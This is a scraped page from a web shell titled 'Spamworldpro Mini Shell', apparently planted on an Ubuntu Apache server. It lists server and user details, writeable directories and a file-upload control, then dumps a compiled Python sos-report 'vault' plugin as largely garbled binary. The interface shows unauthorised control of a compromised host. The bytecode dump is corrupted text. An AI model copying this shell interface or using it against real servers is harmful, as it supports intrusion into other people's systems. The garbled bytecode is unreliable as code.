Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/vault.cpython-310.pyc
o

i��d�@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�UbuntuPluginc@s4eZdZdZdZdZdZdZdZdd�Z	dd	�Z
d
S)�Vaultz�The Vault plugin collects the current status of the vault
    snap on a Ubuntu machine.

    It will collect logs from journal, vault status and configuration
    z3Manage access to secrets and protect sensitive data�vault)�sysmgmt�security)rc
Cs�d}|�|�zCt|d��3}|����D]"}|sq|�d�}|d��dkr6|d�d�}|jdd	|id
�qWd�WdS1sCwYWdStyf}z|�d||f�WYd}~dSd}~ww)N� /var/snap/vault/common/vault.hcl�r�=r�api_addr�z" zvault status�
VAULT_ADDR)�envzCould not open conf file %s: %s)	�
add_copy_spec�open�read�
splitlines�split�strip�add_cmd_output�IOError�
_log_error)�self�	vault_cfg�cf�line�wordsr�error�r�:/usr/lib/python3/dist-packages/sos/report/plugins/vault.py�setups,

���&�	���zVault.setupcCs|�ddd�dS)Nrz(password\s?=\s?).*z\1******)�do_file_sub)rrrr�postproc0s
�zVault.postprocN)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�profiles�services�packager r"rrrrrsrN)�sos.report.pluginsrrrrrrr�<module>s


Spamworldpro Mini